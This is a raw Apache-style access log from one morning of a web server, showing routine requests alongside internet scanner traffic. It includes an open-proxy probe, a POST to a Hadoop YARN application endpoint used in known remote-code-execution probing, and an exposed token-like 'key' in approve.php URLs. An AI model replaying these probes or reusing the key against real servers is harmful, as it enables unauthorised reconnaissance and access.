100.64.0.1 - - [04/Sep/2025:03:26:05 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:03:33:55 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:03:33:55 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:03:34:04 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [04/Sep/2025:03:34:04 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:03:37:29 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [04/Sep/2025:03:37:29 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:03:39:16 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [04/Sep/2025:03:39:16 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:03:45:06 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [04/Sep/2025:03:45:06 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:03:47:14 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [04/Sep/2025:03:47:14 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:03:48:45 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:03:48:45 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:03:50:00 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [04/Sep/2025:03:50:00 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:03:51:35 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:03:51:35 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:03:52:36 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:03:52:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:03:52:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:03:52:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:03:53:30 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [04/Sep/2025:03:53:30 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:03:57:02 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [04/Sep/2025:03:57:02 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:03:57:32 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [04/Sep/2025:03:57:32 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [04/Sep/2025:04:14:11 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:04:14:11 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:04:14:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:04:14:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:04:21:08 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [04/Sep/2025:04:21:08 +0800] "\x03" 501 203
100.64.0.1 - - [04/Sep/2025:04:22:54 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:04:22:54 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [04/Sep/2025:04:30:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:04:30:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:04:30:42 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:04:30:42 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:04:38:00 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:04:38:00 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:04:41:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:04:41:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:04:59:32 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)"
100.64.0.1 - - [04/Sep/2025:04:59:32 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:05:08:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:05:08:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:05:09:49 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:05:09:49 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:05:10:43 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:05:10:43 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:05:12:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:05:12:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:05:35:28 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:05:35:28 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:05:36:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:05:36:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:05:43:18 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/osd_ebcdic_df04_15.so HTTP/1.1" 200 20585 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:05:43:18 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/osd_ebcdic_df04_15.so HTTP/1.1" 200 20585
100.64.0.1 - - [04/Sep/2025:05:46:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:05:46:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:05:48:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:05:48:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:05:50:06 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [04/Sep/2025:05:50:06 +0800] "\x03" 501 203
100.64.0.1 - - [04/Sep/2025:05:56:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:05:56:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:06:01:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:06:01:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:06:11:11 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [04/Sep/2025:06:11:11 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
100.64.0.1 - - [04/Sep/2025:06:24:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:06:24:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:06:24:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:06:24:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:06:26:57 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:06:26:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:06:27:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:06:27:07 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:06:46:03 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [04/Sep/2025:06:46:03 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE HTTP/1.1" 200 -
100.64.0.1 - - [04/Sep/2025:06:46:06 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE HTTP/1.1" 200 4229 "-" "Mozilla/5.0 (Linux; Android 12; HarmonyOS; JAD-AL00; HMSCore 6.15.0.332) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/16.0.7.301 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:06 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE HTTP/1.1" 200 4229
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE" "Mozilla/5.0 (Linux; Android 12; HarmonyOS; JAD-AL00; HMSCore 6.15.0.332) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/16.0.7.301 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE" "Mozilla/5.0 (Linux; Android 12; HarmonyOS; JAD-AL00; HMSCore 6.15.0.332) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/16.0.7.301 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE" "Mozilla/5.0 (Linux; Android 12; HarmonyOS; JAD-AL00; HMSCore 6.15.0.332) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/16.0.7.301 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE" "Mozilla/5.0 (Linux; Android 12; HarmonyOS; JAD-AL00; HMSCore 6.15.0.332) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/16.0.7.301 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE" "Mozilla/5.0 (Linux; Android 12; HarmonyOS; JAD-AL00; HMSCore 6.15.0.332) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/16.0.7.301 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE" "Mozilla/5.0 (Linux; Android 12; HarmonyOS; JAD-AL00; HMSCore 6.15.0.332) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/16.0.7.301 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE" "Mozilla/5.0 (Linux; Android 12; HarmonyOS; JAD-AL00; HMSCore 6.15.0.332) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/16.0.7.301 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406
100.64.0.1 - - [04/Sep/2025:06:46:07 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87ECBE55E24C6E6AF5A28ECC7D82D0652B2248E00AD7E93507BB2281EA2117860F1AFD18EC34D33FA961A1BC7E97533D6FF6B35E420F28C4BE" "Mozilla/5.0 (Linux; Android 12; HarmonyOS; JAD-AL00; HMSCore 6.15.0.332) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 HuaweiBrowser/16.0.7.301 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET /ehr/mgr/approve.php HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET /ehr/mgr/approve.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:22 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:23 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:24 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:25 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:25 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:25 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:25 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:25 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:25 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:25 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:25 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:26 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:26 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:26 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [04/Sep/2025:06:46:26 +0800] "GET /ehr/mgr/approve.php?scriptname=page_error&msgtxt=AttackError&target=iframe HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:06:46:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209
